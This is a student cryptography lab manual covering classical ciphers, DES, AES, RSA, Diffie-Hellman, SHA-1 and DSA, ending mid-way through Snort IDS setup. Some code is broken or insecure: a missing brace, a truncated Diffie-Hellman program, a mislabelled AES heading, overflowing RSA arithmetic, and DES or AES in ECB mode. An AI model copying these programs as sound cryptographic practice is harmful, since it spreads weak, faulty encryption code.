0% found this document useful (0 votes)
5 views44 pages

Ex No: 1 A Date: Caesar Cipher

Uploaded by

sevagijelabi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
5 views44 pages

Ex No: 1 A Date: Caesar Cipher

Uploaded by

sevagijelabi
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 44

CAESAR CIPHER

Ex No: 1 A
Date:

AIM:
To write a JAVA program to implement Caesar cipher.

ALGORITHM:
Encryption:
1. Create a new String res
2. Loop through every character of the plain text
3. Append (char)(((int)ch + k - 65) % 26 + 65) to res
4. To decrypt, Subtract the key with ASCII value of the character.
5. If it is not in its range, subtract the near end with the value & add it in the other end
6. Return res

Decryption:
1. Apply the formula: key = 26 - (key % 26)
2. Follow the steps as in encryption

PROGRAM:
import java.util.Scanner;

public class CaesarCipher {


private static String encrypt(String txt, int k) {
StringBuilder res = new StringBuilder();
for (int i = 0; i < txt.length(); i++) {
char ch = txt.charAt(i);
if (Character.isUpperCase(ch)) {
ch = (char)(((ch + k - 65) % 26 + 26) % 26 + 65);
} else if (Character.isLowerCase(ch)) {
ch = (char)(((ch + k - 97) % 26 + 26) % 26 + 97);
}
res.append(ch);
}
return res.toString();
}

public static void main(String[] args) {


Scanner sc = new Scanner(System.in);
System.out.print("Enter the plain text: ");
String plainText = sc.nextLine();
System.out.print("Enter the key: ");
1
int key = sc.nextInt();
String cipherText = encrypt(plainText, key);
String pText = encrypt(cipherText, 26 - (key % 26));

System.out.println("Cipher Text = " + cipherText);


System.out.println("Decrypted Text = " + pText);
}
}

OUTPUT:

RESULT:
Thus, the Java program to implement Caesar cipher is successfully executed.

2
PLAYFAIR CIPHER
Ex No: 1 B
Date:

AIM:
To write a JAVA program to implement Playfair cipher.

ALGORITHM:
Encryption:
1. Select 2 characters at a time of the plaintext
2. If it satisfies the conditions, add it to the string list
3. If fails the conditions add bogus letter to the letter and add it into the list, now the plain text is converted
into digraphs.
4. Add 1 character at one time into the Hashmap as value & numbers from 1 - 25 in ascending order as key
(Note : Only if the character satisfies the condition, add it to the Hashmap)
5. After that, iterate through a - z & add it to dictionary only if it's not present in it
6. Now from the Hashmap, create the key matrix by iterating from 1 - 25 & insert the value from the
dictionary to the 5 x 5 matrix
7. First find the co-ordinates of both characters in a single diagragh (x, y) (Eg: 10:- x = (n // 5) - 1; y = n %
5)
8. If both x is same, insert 'h' in the drct array
9. If both y is same, insert 'v' in the drct array
10. If both are different, insert 's' in the drct array
11. Iterate through the diagraph array & drct array using the common index
12. If 'h', (x, new) is the cipher text for both the characters
13. If 'v', (new, y) is the cipher text for both the characters
14. new = co-ordinate + 1, if there is an adjacent element
15. Else, new = 0
16. If 's', Interchange the 'y' value to get the cipher character
17. Store all the encrypted text in a array
18. Finally, join the array & return the string

Decryption:
1. Perform first 10 steps steps like in encryption
2. Iterate through the diagraph array & drct array using the common index
3. If 'h', (x, new) is the cipher text for both the characters
4. If 'v', (new, y) is the cipher text for both the characters
5. new = co-ordinate - 1, if there is an adjacent element
6. Else, new = 4
7. If 's', Interchange the 'y' value to get the cipher character
8. Store all the encrypted text in a array
9. Finally, join the array & return the string

PROGRAM:
import java.util.*;

class PlayFair {

List<String> diagraph = new ArrayList<>();


String res = new String();
3
List<Character> drct = new ArrayList<>();
HashMap<Integer, Character> keyMtrx = new LinkedHashMap<>();
HashMap<Character, Integer> RevKeyMtrx = new LinkedHashMap<>();

private List<String> getDiagraph(String pText) {


List<String> dg = new ArrayList<>();
for (int i = 0; i < pText.length();) {
StringBuffer temp = new StringBuffer();
temp.append(pText.charAt(i));

if ((i + 1) < pText.length()) {


if (pText.charAt(i) != pText.charAt(i + 1)) {
temp.append(pText.charAt(i + 1));
String t = temp.toString();
dg.add(t);
i = i + 2;
} else {
temp.append('x');
String t = temp.toString();
dg.add(t);
i++;
}
} else {
temp.append('z');
String t = temp.toString();
dg.add(t);
i++;
}
}
return dg;
}

private char[][] keyMatrix(String k) {


char[][] kMtrx = new char[5][5];
int counter = 0;

for (int i = 0; i < k.length(); i++) {


if (!keyMtrx.containsValue(k.charAt(i))) {
keyMtrx.put(counter, k.charAt(i));
RevKeyMtrx.put(k.charAt(i), counter);
counter++;
}
}

for (char i = 'a'; i <= 'z'; i++) {


if (i == 'j' || keyMtrx.containsValue(i)) continue;
keyMtrx.put(counter, i);
RevKeyMtrx.put(i, counter);
counter++;
}

int x = 0, y = 0;
for (int i = 0; i < 25; i++) {
char ch = keyMtrx.get(i);
4
x = i / 5;
y = i % 5;
kMtrx[x][y] = ch;
}
return kMtrx;
}

private List<Character> findOrient() {


List<Character> Tres = new ArrayList<>();
for (String curStr : diagraph) {
char a = curStr.charAt(0), b = curStr.charAt(1);
int[] aCrd = new int[2];
int[] bCrd = new int[2];
int place1 = RevKeyMtrx.get(a);
int place2 = RevKeyMtrx.get(b);

aCrd[0] = place1 / 5;
aCrd[1] = place1 % 5;
bCrd[0] = place2 / 5;
bCrd[1] = place2 % 5;

if (aCrd[0] == bCrd[0])
Tres.add('h');
else if (aCrd[1] == bCrd[1])
Tres.add('v');
else
Tres.add('s');
}
return Tres;
}

private void print(char[][] mat) {


System.out.println();
for (int i = 0; i < 5; i++) {
for (int j = 0; j < 5; j++)
System.out.print(mat[i][j] + " ");
System.out.println();
}
System.out.println();
}

private List<String> cipher(char[][] mat) {


List<String> enc = new ArrayList<>();
for (int i = 0; i < drct.size(); i++) {
String curStr = diagraph.get(i);
char a = curStr.charAt(0), b = curStr.charAt(1);
int[] aCrd = new int[2];
int[] bCrd = new int[2];
int place1 = RevKeyMtrx.get(a);
int place2 = RevKeyMtrx.get(b);

aCrd[0] = place1 / 5;
aCrd[1] = place1 % 5;
bCrd[0] = place2 / 5;
5
bCrd[1] = place2 % 5;

char orient = drct.get(i);


switch (orient) {
case 'h':
a = mat[aCrd[0]][(aCrd[1] + 1) % 5];
b = mat[bCrd[0]][(bCrd[1] + 1) % 5];
break;
case 'v':
a = mat[(aCrd[0] + 1) % 5][aCrd[1]];
b = mat[(bCrd[0] + 1) % 5][bCrd[1]];
break;
case 's':
a = mat[aCrd[0]][bCrd[1]];
b = mat[bCrd[0]][aCrd[1]];
break;
}
enc.add("" + a + b);
}
return enc;
}

public String encrypt(String pText, String k) {


diagraph = getDiagraph(pText);
char[][] keyMtrx = keyMatrix(k);
print(keyMtrx);
drct = findOrient();
List<String> tRes = cipher(keyMtrx);
StringBuilder result = new StringBuilder();
for (String str : tRes) {
result.append(str);
}
return result.toString();
}

public static void main(String[] args) {


PlayFair pf = new PlayFair();
Scanner sc = new Scanner(System.in);
System.out.print("Enter the plaintext: ");
String pText = sc.nextLine().toLowerCase().replaceAll("[^a-z]", "");
System.out.print("Enter the key: ");
String key = sc.nextLine().toLowerCase().replaceAll("[^a-z]", "");
String cipherText = pf.encrypt(pText, key);
System.out.println("Cipher Text: " + cipherText);
}
}

6
OUTPUT:

RESULT:
Thus, the Java program to implement Playfair cipher is successfully executed.

7
HILL CIPHER
Ex No: 2 A
Date:

AIM:
To write a JAVA program to implement hill cipher.

ALGORITHM:
1. Create a Hashmap with keys from 0 - 25 & a - z as values respectively - lkUp
2. Create a Hashmap with keys from a - z & 0 - 25 as values respectively - rvLk
3. Declare & initialize class array kyMtrx with int [n][n]
4. n = (key.length() % 2 == 0)? 2 : 3; n - No. of rows
5. Now for each character in the key Text, select the respective value from the rvLk and store it in order
6. Take n characters from the plain text at a time
7. For each character in the text, select the respective value from the rvLk and store it in a array in a order
8. Every 2 character is Stored in a row of a 2d array
9. For each row in the pList, multiply with kyMtrx
10. Store it the another 2d array res
11. Declare and Initialize a string r
12.At a time take 1 row from the res array
13. For each element in the row, select the corresponding character from the Hashmap lkUp
14. Append the character to r
15. Return the string

PROGRAM:
import java.util.LinkedHashMap;

class hill {
LinkedHashMap<Integer, Character> lkUp = new LinkedHashMap<>();
LinkedHashMap<Character, Integer> rvLk = new LinkedHashMap<>();
int[][] ptVector;
int[][] encMat;
int n = 3;
int[][] kyMtrx;
private void init() {
int counter = 0;
for (char i = 'a'; i <= 'z'; i++) {
lkUp.put(counter, i);
rvLk.put(i, counter);
counter++;
}
}
private void print(int k) {
if (k == 1) {
System.out.println();
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
System.out.print(kyMtrx[i][j] + "\t");
}
8
System.out.println();
}
System.out.println();
}
}
private void GenKyMtrx(String k) {
kyMtrx = new int[n][n];
int ctr = 0;
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
char ch = k.charAt(ctr);
int temp = rvLk.get(ch);
kyMtrx[i][j] = temp;
ctr++;
}
}
}
private void cnvtPtVec(String pt) {
int ctr = 0;
ptVector = new int[pt.length() / n][n];
for (int i = 0; i < pt.length() / n; i++) {
for (int j = 0; j < n; j++) {
int ch = rvLk.get(pt.charAt(ctr));
ptVector[i][j] = ch;
ctr++;
}
}
}
private void cnvtCipher(int l) {
encMat = new int[l / n][n];
if (n == 2) {
for (int i = 0; i < l / n; i++) {
encMat[i][0] = (ptVector[i][0] * kyMtrx[0][0] + ptVector[i][1] * kyMtrx[0][1]) % 26;
encMat[i][1] = (ptVector[i][0] * kyMtrx[1][0] + ptVector[i][1] * kyMtrx[1][1]) % 26;
}
} else {
for (int i = 0; i < l / n; i++) {
encMat[i][0] = (ptVector[i][0] * kyMtrx[0][0] + ptVector[i][1] * kyMtrx[0][1] + ptVector[i][2] *
kyMtrx[0][2]) % 26;
encMat[i][1] = (ptVector[i][0] * kyMtrx[1][0] + ptVector[i][1] * kyMtrx[1][1] + ptVector[i][2] *
kyMtrx[1][2]) % 26;
encMat[i][2] = (ptVector[i][0] * kyMtrx[2][0] + ptVector[i][1] * kyMtrx[2][1] + ptVector[i][2] *
kyMtrx[2][2]) % 26;
}
}
}
private String cnvtStr(int l) {
StringBuilder res = new StringBuilder();
for (int i = 0; i < l / n; i++) {
for (int j = 0; j < n; j++) {
char ch = lkUp.get(encMat[i][j]);
res.append(ch);
9
}
}
return res.toString();
}
public String encrypt(String plainText, String k) {
init();
n = (k.length() == 4) ? 2 : 3;
GenKyMtrx(k);
print(1);
cnvtPtVec(plainText);
cnvtCipher(plainText.length());
return cnvtStr(plainText.length());
}
}

public class lav {


public static void main(String[] args) {
String plainText = "gfg";
String key = "hillmagic";

plainText = plainText.toLowerCase();
key = key.toLowerCase();

System.out.println("Plain Text: " + plainText);


System.out.println("Key: " + key);

hill cipher = new hill();


String cipherText = cipher.encrypt(plainText, key);
System.out.println("Cipher Text = " + cipherText);
}
}

OUTPUT:

10
RESULT:
Thus, the Java program to implement hill cipher is successfully executed.

11
VIGENERE CIPHER
Ex No: 2 B
Date:

AIM:
To write a JAVA program to implement Vigenere cipher.

ALGORITHM:
Encryption:
1. Declare a new String key and initialize with keyWord
2. Declare integer ctr = 0
3. If key.length < plainText.length:
4. key += keyWord.chatAt(ctr)
5. If ctr++ == keyword.length: ctr = 0
6. Declare a new String enc.
7. enc += (char)(((plainText[i] + key[i]) % 26) + 'A')
8. Return the string

Decryption:
1. Perform the first 7 steps
2. dTxt += (char)((ct.charAt(i) - k.charAt(i) + 26) % 26 + 'A');
3. Return the string

PROGRAM:
class vigenere {
private String equity(int l, String k) {
int ctr = 0;
String key = "";
for (int i = 0; i < l; i++) {
key += k.charAt(ctr);
ctr = (ctr + 1 == k.length()) ? 0 : ctr + 1;
}
return key;
}
private String cipher(String k, String pt) {
String enc = "";
for (int i = 0; i < pt.length(); i++) {
enc += (char) (((pt.charAt(i) + k.charAt(i)) % 26) + 'A');
}
return enc;
}
private String decipher(String k, String ct) {
String dTxt = "";
for (int i = 0; i < ct.length(); i++) {
dTxt += (char) ((ct.charAt(i) - k.charAt(i) + 26) % 26 + 'A');
}
return dTxt;
}
public String encrypt(String pt, String k) {
12
String key = equity(pt.length(), k);
String res = cipher(key, pt);
return res;
}
public String decrypt(String ct, String k) {
String key = equity(ct.length(), k);
String res = decipher(key, ct);
return res;
}
}

public class vigenereCipher {

public static void main(String[] args) {


String plainText = "cryptography";
String key = "vigenere";

plainText = plainText.toUpperCase();
key = key.toUpperCase();

System.out.println("Plain Text : " + plainText);


System.out.println("Key : " + key);

vigenere cipher = new vigenere();


String cipherText = cipher.encrypt(plainText, key);
String pText = cipher.decrypt(cipherText, key);

System.out.println("\nCipher Text = " + cipherText);


System.out.println("Decrypted Text = " + pText);
}
}

OUTPUT:

RESULT:
Thus, the Java program to implement Vigenere cipher is successfully executed.

13
RAILFENCE CIPHER TRANSPOSITION TECHNIQUE
Ex No: 3 A
Date:

AIM:
To write a JAVA program to implement rail fence cipher transposition technique.

ALGORITHM:
Encryption:
1. Declare & initialize the array crypt[m][n], where m - key, n - length of the plain text.
2. Convert the plain text to the rail fence manner and store it in crypt array.
3. Traverse through the crypt array and store it in the string
4. Return the string

Decryption:
1. Initialize the array variables
2. Fill the array with * in the rail fence manner
3. Replace stars with character in the cipher text
4. Traverse through the array in rail fence manner and store it in a string
5. Return the result

PROGRAM:
class railFence {
char[][] crypt, deCrypt;
int m, n;
private void cvntRF(String pt) {
int i = 0, j = 0;
boolean down = true;
for (i = 0; i < pt.length(); i++) {
crypt[j][i] = pt.charAt(i);

if (j == m - 1) {
down = false;
j--;
} else if (j == 0) {
down = true;
j++;
} else {
if (down) {
j++;
} else {
j--;
}
}
}
}

private String result() {


StringBuilder res = new StringBuilder();
for (int i = 0; i < m; i++)
14
for (int j = 0; j < n; j++)
if (crypt[i][j] != '\u0000')
res.append(crypt[i][j]);
return res.toString();
}
private void cvntStar() {
int i = 0, j = 0;
boolean down = true;
for (i = 0; i < n; i++) {
deCrypt[j][i] = '*';

if (j == m - 1) {
down = false;
j--;
} else if (j == 0) {
down = true;
j++;
} else {
if (down) {
j++;
} else {
j--;
}
}
}
private void putCT(String ct) {
int ctr = 0;
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
if (deCrypt[i][j] == '*') {
deCrypt[i][j] = ct.charAt(ctr);
ctr++;
}
}
}
}
private String getPT() {
int i = 0, j = 0;
boolean down = true;
StringBuilder res = new StringBuilder();

for (i = 0; i < n; i++) {


if (deCrypt[j][i] != '\u0000') {
res.append(deCrypt[j][i]);
}

if (j == m - 1) {
down = false;
j--;
} else if (j == 0) {
down = true;
j++;
} else {
if (down) {
15
j++;
} else {
j--;
}
}
}
return res.toString();
}

private void print(char[][] arr) {


for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
System.out.print(arr[i][j] + " ");
}
System.out.println();
}
}
public String encrypt(String pt, int k) {
String res = "";
m = k;
n = pt.length();
crypt = new char[m][n];
cvntRF(pt);
print(crypt);
res = result();
return res;
}

// Main method to decrypt the cipher text


public String decrypt(String ct, int k) {
String res = "";

m = k;
n = ct.length();
deCrypt = new char[m][n];
cvntStar();
putCT(ct);
print(deCrypt);
res = getPT();
return res;
}
}

public class railfenceCipher {


public static void main(String[] args) {
String plainText = "cryptography";
int key = 2;

System.out.println("Plain Text: " + plainText);


System.out.println("Key: " + key);

railFence cipher = new railFence();


String cipherText = cipher.encrypt(plainText, key);
String pText = cipher.decrypt(cipherText, key);
16
System.out.println("\nCipher Text = " + cipherText);
System.out.println("Decrypted Text = " + pText);
}
}

OUTPUT:

RESULT:
Thus, the Java program to implement rail fence cipher transposition technique is successfully
executed.

17
ROW AND COLUMN TRANSFORMATION TECHNIQUE
Ex No: 3 B
Date:

AIM:
To write a JAVA program to implement row and column transformation technique.

ALGORITHM:
1. Consider the plain text hello world, and let us apply the simple columnar transposition technique
as shown below
h e l l
o w o r
l d

2. The plain text characters are placed horizontally and the cipher text is created with vertical format
as: holewdlo lr.
3. Now, the receiver has to use the same table to decrypt the cipher text to plain text.

PROGRAM:
import java.util.Scanner;

class TransCipher {
public static void main(String args[]) {
Scanner sc = new Scanner(System.in);
System.out.println("Enter the plain text:");
String pl = sc.nextLine();
sc.close();
String s = "";
int start = 0;
for (int i = 0; i < pl.length(); i++) {
if (pl.charAt(i) == ' ') {
s = s + pl.substring(start, i);
start = i + 1;
}
}
s = s + pl.substring(start);
System.out.println("Plain text without spaces: " + s);
int k = s.length();
int col = 4;
int row = (int) Math.ceil((double) k / col);
char[][] ch = new char[row][col];
int l = 0;
for (int i = 0; i < row; i++) {
for (int j = 0; j < col; j++) {
if (l < k) {
ch[i][j] = s.charAt(l);
l++;
} else {
ch[i][j] = '#';
}
}
18
}
char[][] trans = new char[col][row];
for (int i = 0; i < row; i++) {
for (int j = 0; j < col; j++) {
trans[j][i] = ch[i][j];
}
}
System.out.println("Transposed Cipher Text:");
for (int i = 0; i < col; i++) {
for (int j = 0; j < row; j++) {
System.out.print(trans[i][j]);
}
}
System.out.println();
}
}

OUTPUT:

RESULT:
Thus, the Java program to implement row and column transformation technique is successfully
executed.
19
DATA ENCRYPTION STANDARD (DES) ALGORITHM
(USER MESSAGE ENCRYPTION )
Ex No: 4 A
Date:

AIM:
To use Data Encryption Standard (DES) Algorithm for a practical application like User Message
Encryption.

ALGORITHM:
1. Take 64-bit plain text block getting handed over to an initial permutation (IP) function.
2. The initial permutation (IP) is then performed on the plain text.
3. Separate the plain text to two halves of the permuted block, as Left Plain Text (LPT) and Right
Plain Text (RPT).
4. Each LPT and RPT goes through 16 rounds of the encryption process.
5. After the 16 rounds LPT and RPT are re-joined
6. Final Permutation (FP) is performed on the newly combined block.
7. Return the cipher text

PROGRAM:
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.KeyGenerator;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;

public class DES {


public static void main(String[] argv) {
try {
System.out.println("Message Encryption Using DES Algorithm\n");
KeyGenerator keygenerator = KeyGenerator.getInstance("DES");
SecretKey myDesKey = keygenerator.generateKey();
Cipher desCipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
desCipher.init(Cipher.ENCRYPT_MODE, myDesKey);
byte[] text = "Secret Information".getBytes();

System.out.println("Message [Byte Format] : " + new String(text));


System.out.println("Message : " + new String(text));
byte[] textEncrypted = desCipher.doFinal(text);
System.out.println("Encrypted Message [Byte Format]: " + new String(textEncrypted));
desCipher.init(Cipher.DECRYPT_MODE, myDesKey);
byte[] textDecrypted = desCipher.doFinal(textEncrypted);
System.out.println("Decrypted Message: " + new String(textDecrypted));
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
} catch (NoSuchPaddingException e) {
e.printStackTrace();
} catch (InvalidKeyException e) {
20
e.printStackTrace();
} catch (IllegalBlockSizeException e) {
e.printStackTrace();
} catch (BadPaddingException e) {
e.printStackTrace();
}
}
}

OUTPUT:

RESULT:
Thus, the java program for DES Algorithm has been implemented and the output verified
successfully.
21
ADVANCED ENCRYPTION STANDARD (DES) ALGORITHM
( URL ENCRYPTION )
Ex No: 4 B
Date:

AIM:
To use Advanced Encryption Standard (AES) Algorithm for a practical application like URL
Encryption.

ALGORITHM:
1. Derive the set of round keys from the cipher key.
2. Initialize the state array with the block data (plaintext).
3. Add the initial round key to the starting state array.
4. Perform nine rounds of state manipulation.
5. Perform the tenth and final round of state manipulation.
6. Copy the final state array out as the encrypted data (ciphertext).

PROGRAM:
import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import java.util.Base64;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Main {

private static SecretKeySpec secretKey;


private static byte[] key;

public static void setKey(String myKey) {


try {
key = myKey.getBytes("UTF-8");
MessageDigest sha = MessageDigest.getInstance("SHA-1");
key = sha.digest(key);
key = Arrays.copyOf(key, 16);
secretKey = new SecretKeySpec(key, "AES");
} catch (NoSuchAlgorithmException | UnsupportedEncodingException e) {
e.printStackTrace();
}
}

public static String encrypt(String strToEncrypt, String secret) {


try {
setKey(secret);
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
return Base64.getEncoder().encodeToString(cipher.doFinal(strToEncrypt.getBytes("UTF-8")));
} catch (Exception e) {
System.out.println("Error while encrypting: " + e.toString());
22
}
return null;
}

public static String decrypt(String strToDecrypt, String secret) {


try {
setKey(secret);
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, secretKey);
return new String(cipher.doFinal(Base64.getDecoder().decode(strToDecrypt)));
} catch (Exception e) {
System.out.println("Error while decrypting: " + e.toString());
}
return null;
}

public static void main(String[] args) {


final String secretKey = "cryptography";
String originalString = "howtodoinjava.com";
String encryptedString = Main.encrypt(originalString, secretKey);
String decryptedString = Main.decrypt(encryptedString, secretKey);
System.out.println("Original String: " + originalString);
System.out.println("Encrypted String: " + encryptedString);
System.out.println("Decrypted String: " + decryptedString);
}
}

OUTPUT:

RESULT:
Thus, the java program for AES Algorithm has been implemented for URL Encryption and the output
verified successfully.

23
RSA ALGORITHM
Ex No: 5 A
Date:

AIM:
To implement RSA (Rivest–Shamir–Adleman) algorithm by using HTML and JavaScript.

ALGORITHM:
1. Choose two prime number p and q
2. Compute the value of n and p
3. Find the value of e (public key)
4. Compute the value of d (private key) using gcd()
5. Do the encryption and decryption
a. Encryption is given as,
c = te mod n
b. Decryption is given
as, t = cd mod n

PROGRAM:
<html>
<head>
<title>RSA Encryption</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<center>
<h1>RSA Algorithm</h1>
<h2>Implemented Using HTML & Javascript</h2>
<hr>
<table>
<tr>
<td>Enter First Prime Number:</td>
<td><input type="number" value="53" id="p"></td>
</tr>
<tr>
<td>Enter Second Prime Number:</td>
<td><input type="number" value="59" id="q"></p>
</td>
</tr>
<tr>
<td>Enter the Message(cipher text):<br>[A=1, B=2,...]</td>
<td><input type="number" value="89" id="msg"></p></td>
</tr>
<tr>
<td>Public Key:</td>
<td>

24
</td>
</tr>
<tr>
<td>Exponent:</td>
<td>
<p id="exponent"></p>
</td>
</tr>
<tr>
<td>Private Key:</td>
<td>
<p id="privatekey"></p>
</td>
</tr>
<tr>
<td>Cipher Text:</td>
<td>
<p id="ciphertext"></p>
</td>
</tr>
<tr>
<td><button onclick="RSA();">Apply RSA</button></td>
</tr>
</table>
</center>
</body>
<script type="text/javascript">
function RSA() {
var gcd, p, q, no, n, t, e, i, x;
gcd = function (a, b) { return (!b) ? a : gcd(b, a % b); };
p = document.getElementById('p').value;
q = document.getElementById('q').value;
no = document.getElementById('msg').value;
n = p * q;
t = (p - 1) * (q - 1);
for (e = 2; e < t; e++) {
if (gcd(e, t) == 1) {
break;
}
}
for (i = 0; i < 10; i++) {
x=1+i*t
if (x % e == 0) {
d = x / e;
break;
}
}
ctt = Math.pow(no, e).toFixed(0);
ct = ctt % n;

25
dtt = Math.pow(ct, d).toFixed(0);
dt = dtt % n;
document.getElementById('publickey').innerHTML = n;
document.getElementById('exponent').innerHTML = e;
document.getElementById('privatekey').innerHTML = d;
document.getElementById('ciphertext').innerHTML = ct;
}
</script>
</html>

OUTPUT:

RESULT:
Thus, the RSA algorithm has been implemented using HTML & CSS and the output has been verified
successfully.

26
DEFFIE HELLMAN KEY EXCHANGE ALGORITHM
Ex No: 5 B
Date:

AIM:
To implement the Diffie-Hellman Key Exchange algorithm for a given problem.

ALGORITHM:
1. Alice and Bob publicly agree to use a modulus p = 23 and base g = 5 (which is a primitive root
modulo 23).
2. Alice chooses a secret integer a = 4, then sends Bob A = ga mod p
A = 54 mod 23 = 4
4. Bob chooses a secret integer b = 3, then sends Alice B = gb mod p
B = 53 mod 23 = 10
5. Alice computes s = Ba mod p
s = 104 mod 23 = 18
6. Bob computes s = Ab mod p
s = 43 mod 23 = 18
7. Alice and Bob now share a secret (the number 18).

PROGRAM:
import java.math.BigInteger;

public class DiffieHellman {


public static void main(String[] args) {
// Prime number and generator
BigInteger p = BigInteger.valueOf(23);
BigInteger g = BigInteger.valueOf(5);

// Private keys for Alice and Bob


BigInteger x = BigInteger.valueOf(4); // Alice's private key
BigInteger y = BigInteger.valueOf(3); // Bob's private key

// Alice computes her public value


BigInteger aliceSends = g.modPow(x, p);
// Bob computes the shared secret using Alice's public value
BigInteger bobComputes = aliceSends.modPow(y, p);

// Bob computes his public value


BigInteger bobSends = g.modPow(y, p);
// Alice computes the shared secret using Bob's public value
BigInteger aliceComputes = bobSends.modPow(x, p);

// Display results
System.out.println("Simulation of Diffie-Hellman Key Exchange Algorithm\n");
System.out.println("Alice Sends: " + aliceSends);
System.out.println("Bob Computes: " + bobComputes);
System.out.println("Bob Sends: " + bobSends);
System.out.println("Alice Computes: " + aliceComputes);

// Verify if the shared secrets match


27
if (aliceComputes.equals(bobComputes)) {
System.out.println("Success: Shared Secrets Match! " + bobComputes);
} else {
System.out.println("Error: Shared Secrets do not Match");
}

28
OUTPUT:

RESULT:
Thus, the Diffie-Hellman key exchange algorithm has been implemented using Java Program
and the output has been verified successfully.

29
SHA - 1 ALGORITHM
Ex No: 6 A
Date:

AIM:
To Calculate the message digest of a text using the SHA-1 algorithm

ALGORITHM:
1. Append Padding Bits
2. Append Length - 64 bits are appended to the end
3. Prepare Processing Functions
4. Prepare Processing Constants
5. Initialize Buffers
6. Processing Message in 512-bit blocks (L blocks in total message)

PROGRAM:
import java.security.*;

public class SHA1Hashing {


public static void main(String[] args) {
try {
// Create an instance of the SHA1 MessageDigest
MessageDigest md = MessageDigest.getInstance("SHA1");

System.out.println("Message digest object info:\n");


System.out.println("Algorithm = " + md.getAlgorithm());
System.out.println("Provider = " + md.getProvider());
System.out.println("ToString = " + md.toString());

// First input: an empty string


String input = "";
md.update(input.getBytes());
byte[] output = md.digest();
System.out.println("\nSHA1(\"" + input + "\") = " + bytesToHex(output));

// Second input: "abc"


input = "abc";
md.update(input.getBytes());
output = md.digest();
System.out.println("\nSHA1(\"" + input + "\") = " + bytesToHex(output));

// Third input: "abcdefghijklmnopqrstuvwxyz"


input = "abcdefghijklmnopqrstuvwxyz";
md.update(input.getBytes());
output = md.digest();
System.out.println("\nSHA1(\"" + input + "\") = " + bytesToHex(output));

} catch (Exception e) {
System.out.println("Exception: " + e);
}
}

30
// Method to convert byte array to hex string for better readability
private static String bytesToHex(byte[] b) {
char hexDigit[] = {
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
};
StringBuffer buf = new StringBuffer();
for (byte aB : b) {
buf.append(hexDigit[(aB >> 4) & 0x0f]); // Get high nibble
buf.append(hexDigit[aB & 0x0f]); // Get low nibble
}
return buf.toString();
}
}

OUTPUT:

RESULT:
Thus, the Secure Hash Algorithm (SHA-1) has been implemented and the output has been verified
successfully.

31
DIGITAL SIGNATURE STANDARD
Ex No: 6 B
Date:

AIM:
To implement the SIGNATURE SCHEME - Digital Signature Standard.

ALGORITHM:
1. Create a KeyPairGenerator object.
2. Initialize the KeyPairGenerator object.
3. Generate the KeyPairGenerator. ...
4. Get the private key from the pair.
5. Create a signature object.
6. Initialize the Signature object.
7. Add data to the Signature object
8. Calculate the Signature

PROGRAM:
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.Signature;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;

public class CreatingDigitalSignature {


public static void main(String args[]) throws Exception {
// Get user input
Scanner sc = new Scanner(System.in);
System.out.println("Enter some text");
String msg = sc.nextLine();

// Generate a key pair using DSA


KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance("DSA");
keyPairGen.initialize(2048);
KeyPair pair = keyPairGen.generateKeyPair();

// Get the private key from the generated pair


PrivateKey privKey = pair.getPrivate();

// Create a Signature object and initialize it with the private key


Signature sign = Signature.getInstance("SHA256withDSA");
sign.initSign(privKey);

// Convert the message to bytes


byte[] bytes = msg.getBytes(StandardCharsets.UTF_8);
sign.update(bytes);

// Generate the digital signature


byte[] signature = sign.sign();

// Print the generated digital signature


32
System.out.println("Digital signature for the given text: " + new String(signature,
StandardCharsets.UTF_8));
}
}

OUTPUT:

RESULT:
Thus, the Digital Signature Standard has been implemented and the output has been verified
successfully.

33
DEMONSTRATION OF INTRUSION DETECTION SYSTEM(IDS)
Ex No: 7 A
Date:

AIM:
To demonstrate Intrusion Detection System (IDS) using Snort software tool.

STEPS ON CONFIGURING AND INTRUSION DETECTION:


1. Download Snort from the Snort.org website. (http://www.snort.org/snort-downloads)
2. Download Rules(https://www.snort.org/snort-rules). You must register to get the rules. (You
should download these often)
3. Double click on the .exe to install snort. This will install snort in the “C:\Snort” folder.It is important to
have WinPcap (https://www.winpcap.org/install/) installed
4. Extract the Rules file. You will need WinRAR for the .gz file.
5. Copy all files from the “rules” folder of the extracted folder. Now paste the rules into “C:\Snort\rules”
folder.
6. Copy “snort.conf” file from the “etc” folder of the extracted folder. You must paste it into “C:\
Snort\etc” folder. Overwrite any existing file. Remember if you modify your snort.conf file and
download a new file, you must modify it for Snort to work.
7. Open a command prompt (cmd.exe) and navigate to folder “C:\Snort\bin” folder. ( at the Prompt, type
cd\snort\bin)
8. To start (execute) snort in sniffer mode use following
command: snort -dev -i 3
-i indicates the interface number. You must pick the correct interface number.
In my case, it is 3.
-dev is used to run snort to capture packets on your network.

To check the interface list, use following command: snort -W

Finding an interface

You can tell which interface to use by looking at the Index number and finding Microsoft. As you can see
in the above example, the other interfaces are for VMWare. My interface is 3.

34
